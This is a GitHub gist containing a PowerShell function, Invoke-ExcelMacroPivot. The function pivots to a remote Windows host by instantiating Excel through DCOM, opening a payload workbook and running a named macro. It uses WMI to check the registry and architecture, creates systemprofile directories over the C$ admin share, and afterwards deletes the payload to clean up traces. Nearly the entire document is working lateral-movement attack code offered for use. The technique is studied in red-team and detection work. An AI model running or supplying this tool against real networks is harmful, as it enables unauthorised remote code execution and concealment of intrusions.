Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save qgrosperrin/64b8514bacac0353cd56d6b2a2b76267 to your computer and use it in GitHub Desktop.
Save qgrosperrin/64b8514bacac0353cd56d6b2a2b76267 to your computer and use it in GitHub Desktop.
function Invoke-ExcelMacroPivot{
<#
.AUTHOR
Matt Nelson (@enigma0x3)
.SYNOPSIS
Pivots to a remote host by using an Excel macro and Excel's COM object
.PARAMETER Target
Remote host to pivot to
.PARAMETER RemoteDocumentPath
Local path on the remote host where the payload resides
.PARAMETER MacroName
The name of the macro residing in the payload document
.EXAMPLE
PS C:\> Invoke-ExcelMacroPivot -Target "192.168.99.152" -RemoteDocumentPath "C:\Book1.xlsm" -MacroName "Auto_Open"
Executes the "Auto_Open" macro from C:\Book1.xlsm on the host 192.168.99.152
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$True, ValueFromPipeline=$True)]
$Target,
$RemoteDocumentPath,
$MacroName
)
$32BitPath = "\\$target\c$\Windows\System32\config\systemprofile\Desktop"
$64BitPath = "\\$target\c$\Windows\SysWOW64\config\systemprofile\Desktop"
#Connect to remote host via WMI for reg enumeration
try{
Write-Verbose "Connecting to StdRegProv on $target"
$remoteReg = [WMIClass]"\\$target\ROOT\default:StdRegProv"
}catch{
throw "Could not connect to StdRegProv"
}
try{
Write-Verbose "Getting OS Architecture of $target"
$OSArch = @(Get-WmiObject -ComputerName $target -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth
}catch{
throw "Could not get OS Arch."
}
#Check if Office is installed
$hklm = [uint32]'0x80000002'
$OfficeResult = $remoteReg.CheckAccess($hklm, 'SOFTWARE\Microsoft\Office',1)
function Local:Prep-Target{
if ($OSArch -eq "64") {
try {
Write-Verbose "Creating both 32 and 64 bit Profile directories"
[system.io.directory]::createDirectory($32BitPath)
[system.io.directory]::createDirectory($64BitPath)
} catch {
throw "Unable to create directory"
}
} elseif ($OSArch -eq "32") {
try {
Write-Verbose "Creating 32 bit profile directory"
[system.io.directory]::createDirectory($32BitPath)
} catch {
throw "Unable to create directory"
}
} else {
throw "OS Arch not determined"
}
}
function Local:Cleanup-Target{
if ($OSArch -eq "64") {
try{
Write-Verbose "Deleting both 32 and 64 bit profile directories"
[system.io.directory]::Delete($32BitPath)
[system.io.directory]::Delete($64BitPath)
} catch{
throw "Unable to delete directory"
}
} elseif ($OSArch -eq "32") {
try{
Write-Verbose "Deleting 32 bit profile directory"
[system.io.directory]::Delete($32BitPath)
} catch{
throw "Unable to delete directory"
}
}
try{
Write-Verbose "Deleting payload from $RemoteDocumentPath on $target"
$UNCPath = "\\$target\c$\" + $RemoteDocumentPath.Replace("C:\","")
[system.io.file]::Delete($UNCPath)
} catch {
throw "Unable to cleanup payload"
}
}
If ($OfficeResult.BGranted -eq $True) {
Write-Verbose "Prepping $target"
Prep-Target
Write-Verbose "Activating Excel.Application on $target"
$Excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application",$target))
Write-Verbose "Opening payload"
$WorkBook = $Excel.Workbooks.Open($RemoteDocumentPath)
Write-Verbose "Executing Macro $MacroName from $RemoteDocumentPath"
$Excel.Run($MacroName)
$WorkBook.Close()
$Excel.Application.Quit()
$Excel.Quit()
[System.Runtime.Interopservices.Marshal]::FinalReleaseComObject($Excel)
Write-Verbose "Sleeping 10 seconds for FinalReleaseCOMOBject() to finish"
Start-Sleep 10
Write-Verbose "Cleaning up $target"
Cleanup-Target
} else{
throw "Office not installed on target"
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment